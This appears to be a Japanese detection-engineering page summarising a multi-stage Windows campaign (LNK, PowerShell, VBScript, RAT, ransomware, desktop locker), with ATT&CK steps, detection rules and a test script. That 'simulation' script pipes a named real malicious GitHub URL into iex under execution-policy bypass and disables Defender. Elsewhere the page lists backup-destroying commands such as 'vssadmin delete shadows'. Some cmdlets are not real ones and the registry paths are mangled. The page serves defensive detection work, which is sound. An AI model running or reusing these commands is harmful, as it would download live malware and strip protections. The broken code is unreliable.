多段階型Windowsマルウェア作戦の内部
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
FortiGuard Labsは、圧縮アーカイブ内に配信された悪意のあるLNKファイルで始まる多段階のWindows侵入チェーンを特定しました。このショートカットは、GitHubから後続スクリプトを引っ張る最初のPowerShellローダーを起動し、その後難読化されたVBScriptオーケストレーターに制御を渡します。このワークフローは、Microsoft Defenderを無効にし、Defendnotユーティリティを展開し、Amnesia RATとHakuna Matataランサムウェアの両方をステージングすることでエンドポイント防御を弱めようとします。操作は、デスクトップをロックして復旧の妨害をし、被害者に圧力をかけるWinLockerコンポーネントを投下することで終了します。
調査
調査官たちは、LNKがトリガーとなるPowerShellステージから、メモリ内でペイロードを再構築し、ランサムウェアの展開とデスクトップロック動作に至るVBScriptまでの実行パスを再構成しました。防御策は、標的としたレジストリエディットとTaskmgr.exeへのDefendnot DLLの挿入によって迂回されました。持続性は、Runキーエントリとスタートアップフォルダのアーティファクトを組み合わせることで実施され、ログオン後に再度チェーンをトリガーします。
緩和策
HKLMSOFTWAREPoliciesMicrosoftWindows Defender および HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies 下の疑わしいポリシーレベルのレジストリ変更を監視します。ステージングに使用される既知の悪意のあるGitHubやDropboxのURLへの外向きをブロックし、LNK起動からのPowerShellダウンロード・実行パターンを警告します。アプリケーションの許可リストを強化し、PowerShell実行制御を厳格化してスクリプトベースの初期アクセスを減らします。
応答
検出された場合、エンドポイントを隔離し、Defender関連のレジストリ設定を正常な状態に戻し、悪意のあるファイルと持続性エントリを削除します。アクティブなAmnesia RATプロセスと関連するネットワーク活動を監視し、ランサムウェアの実行が発生したかどうかを確認します。影響の範囲を特定し、残存物を消去するために完全なフォレンジック評価を行い、可能であればクリーンなバックアップからシステムを復旧します。
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff6666 %% Node definitions step_a[“<b>アクション</b> – <b>T1566.001 フィッシング: 添付ファイル</b><br/>圧縮アーカイブ内の LNK ファイル『Задание_для_бухгалтера_02отдела.txt.lnk』”] class step_a action step_b[“<b>アクション</b> – <b>T1059.001 PowerShell</b><br/>LNK が -ExecutionPolicy Bypass を指定して PowerShell を起動し、スクリプト『kira.ps1』をダウンロード”] class step_b action step_c[“<b>アクション</b> – <b>T1027 難読化されたファイルまたは情報</b><br/>VBScript『SCRRC4ryuk.vbe』は Script Encoder Plus、Base64、RC4 によりエンコード”] class step_c action step_d[“<b>アクション</b> – <b>T1562.001 防御機能の無効化</b><br/>PowerShell が Microsoft Defender のリアルタイム保護を無効化し、広範なファイルシステム除外を追加”] class step_d action step_e[“<b>アクション</b> – <b>T1218.010 Regsvr32 によるプロキシ実行</b><br/>Defendnot DLL とローダーを展開し、信頼された Taskmgr.exe にインジェクション”] class step_e action step_f[“<b>アクション</b> – <b>T1548.002 UAC の回避</b><br/>ShellExecute runas ループを使用して昇格権限を取得”] class step_f action step_g[“<b>アクション</b> – <b>T1547.001 レジストリ Run キー / スタートアップ フォルダー</b><br/>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run にエントリを作成し、『svchost.scr』を %PROGRAMDATA% とユーザーのスタートアップ フォルダーにコピー”] class step_g action step_h[“<b>アクション</b> – <b>T1082 システム情報の探索</b><br/>WMI を使用して OS、ハードウェア、ドメイン、IP 情報を収集”] class step_h action step_i[“<b>アクション</b> – <b>T1057 プロセス探索</b><br/>重複実行を回避するため実行中プロセスを列挙”] class step_i action step_j[“<b>アクション</b> – <b>T1113 画面キャプチャ</b><br/>『TelegramWorker.scr』がスクリーンショット(1.png~30.png)を取得し Telegram 経由で送信”] class step_j action step_k[“<b>アクション</b> – <b>T1555 パスワードストアからの資格情報</b><br/>DPAPI を使用して Chromium 系ブラウザのパスワードと Cookie を抽出”] class step_k action step_l[“<b>アクション</b> – <b>T1539 Web セッション Cookie の窃取</b><br/>ブラウザから Cookie とトークンを収集”] class step_l action step_m[“<b>アクション</b> – <b>T1550.004 代替認証マテリアルの使用</b><br/>『tdata』から Telegram Desktop のセッションファイルをハイジャック”] class step_m action step_n[“<b>アクション</b> – <b>T1102.002 Web サービス</b><br/>Telegram Bot API を介して収集データとスクリーンショットを攻撃者に送信”] class step_n action step_o[“<b>マルウェア</b> – <b>T1486 影響を目的としたデータ暗号化</b><br/>Hakuna Matata ランサムウェア『WmiPrvSE.scr』が @NeverMind12F 拡張子でファイルを暗号化”] class step_o malware step_p[“<b>アクション</b> – <b>T1490 システム回復の阻害</b><br/>『reagentc /disable』、『wbadmin delete catalog』、『vssadmin delete shadows /all』を実行”] class step_p action step_q[“<b>マルウェア</b> – <b>T1499 エンドポイントのサービス拒否</b><br/>WinLocker『gedion.scr』が WINLOCK… ミューテックスを作成しデスクトップをロック”] class step_q malware %% Connections step_a –>|leads_to| step_b step_b –>|leads_to| step_c step_c –>|leads_to| step_d step_d –>|leads_to| step_e step_e –>|leads_to| step_f step_f –>|leads_to| step_g step_g –>|leads_to| step_h step_h –>|leads_to| step_i step_i –>|leads_to| step_j step_j –>|leads_to| step_k step_k –>|leads_to| step_l step_l –>|leads_to| step_m step_m –>|leads_to| step_n step_n –>|leads_to| step_o step_o –>|leads_to| step_p step_p –>|leads_to| step_q
攻撃フロー
検出
疑わしいプロセスがコマンドラインでURLを使用 (cmdline経由)
見る
Windows Defenderのリアルタイム監視およびその他の設定変更の無効化 (cmdline経由)
見る
IOC (HashSha256) 検出: 多段階Windowsマルウェアキャンペーン内
見る
悪意のあるネットワーク活動とGitHub、Dropbox、Telegramを通じたC2 [Windowsネットワーク接続]
見る
WindowsマルウェアキャンペーンPowerShell実行 [Windows Powershell]
見る
PowerShellとCMDの実行、Install.exeの囮を使って [Windowsプロセス作成]
見る
シミュレーション実行
前提条件: テレメトリおよびベースラインプレフライトチェックが合格していること。
合理性: 本セクションは、検出ルールをトリガーするために設計された敵技術 (TTP) の正確な実行を詳述します。コマンドとナラティブは、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診につながります。
-
攻撃ナラティブ&コマンド:
エンドポイントに初期の足掛かりを得た敵対者は、デフォルトの実行ポリシーを回避しながら悪意のあるPowerShellペイロードをダウンロードして実行しようとします。彼らはInvoke‑Expression(iex) を組み合わせてInvoke‑WebRequest(irm) を使用して遠隔GitHubの生URLからスクリプトを引っ張り、それを-ExecutionPolicy Bypassの下で実行します。持続性を確立した後、彼らは後続のペイロードの検出を避けるためにWindows Defenderのリアルタイム監視を無効にします。これらのステップは、Sigmaルールが監視するコマンドライン文字列を直接生成します。 -
回帰テストスクリプト:
# -------------------------------------------------------------- # ステップ 1 – 実行ポリシーバイパスでリモートスクリプトを実行 # -------------------------------------------------------------- $maliciousUrl = "https://github.com/Mafin111/MafinREP111/raw/refs/heads/main/ps1/kira.ps1" powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm '$maliciousUrl' | iex" # -------------------------------------------------------------- # ステップ 2 – Windows Defenderのリアルタイム監視を無効化 # -------------------------------------------------------------- # リアルタイム保護を無効化 Disable-MpPreference -DisableRealtimeMonitoring $true # 除外パスを追加 (シミュレーション) Add-MpPreference -ExclusionPath "C:TempExcludeFolder" -
クリーンアップコマンド:
# Windows Defenderのリアルタイム監視を再度有効化 Enable-MpPreference -DisableRealtimeMonitoring $false # 除外パスを削除 (存在する場合) Remove-MpPreference -ExclusionPath "C:TempExcludeFolder" -ErrorAction SilentlyContinue # スクリプトによって開始された残留PowerShellプロセスを停止します Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'kira.ps1'} | Stop-Process -Force